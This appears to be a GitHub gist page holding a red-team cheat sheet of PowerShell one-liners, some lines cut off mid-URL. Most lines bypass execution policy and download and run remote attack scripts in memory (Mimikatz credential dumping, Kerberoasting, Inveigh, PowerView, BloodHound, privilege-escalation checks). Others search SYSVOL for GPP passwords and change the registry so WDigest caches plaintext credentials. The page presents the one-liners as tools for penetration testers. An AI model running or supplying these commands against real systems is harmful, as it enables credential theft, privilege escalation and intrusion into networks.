jivoi / RedTeam_CheatSheet.ps1

Forked from m8sec/RedTeam_CheatSheet.ps1
Created 6 years ago

RedTeam_CheatSheet.ps1 Raw

```
# Description:
#    Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing.

# Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command]
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empi

# Invoke-Mimikatz: Dump credentials from memory
powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empi

# Import Mimikatz Module to run further commands
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProj

# Invoke-MassMimikatz: Use to dump creds on remote host [replace $env:computername with target server name(s)]
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/P

# PowerUp: Privilege escalation checks
powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/PowerShellEmpire/P

# Invoke-Inveigh and log output to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/In

# Invoke-Kerberoast and provide Hashcat compatible hashes
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empi

# Invoke-ShareFinder and print output to file
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/P

# Import PowerView Module to run further commands
powershell.exe -exec Bypass -noexit -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShell

# Invoke-Bloodhound
powershell.exe -exec Bypass -C "IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodH

# Find GPP Passwords in SYSVOL
findstr /S cpassword $env:logonserver\sysvol\*.xml
findstr /S cpassword %logonserver%\sysvol\*.xml (cmd.exe)

# Run Powershell prompt as a different user, without loading profile to the machine [replace DOMAIN and USER]
runas /user:DOMAIN\USER /noprofile powershell.exe

# Insert reg key to enable Wdigest on newer versions of Windows
reg add HKLM\SYSTEM\CurrentControlSet\Contro\SecurityProviders\Wdigest /v UseLogonCredential /t Reg_DWORD /d 1
```

shorefall commented on Nov 28, 2023

New version:
https://gist.github.com/shorefall/cb9733f3aaf666d7db94e69dcd8b1e44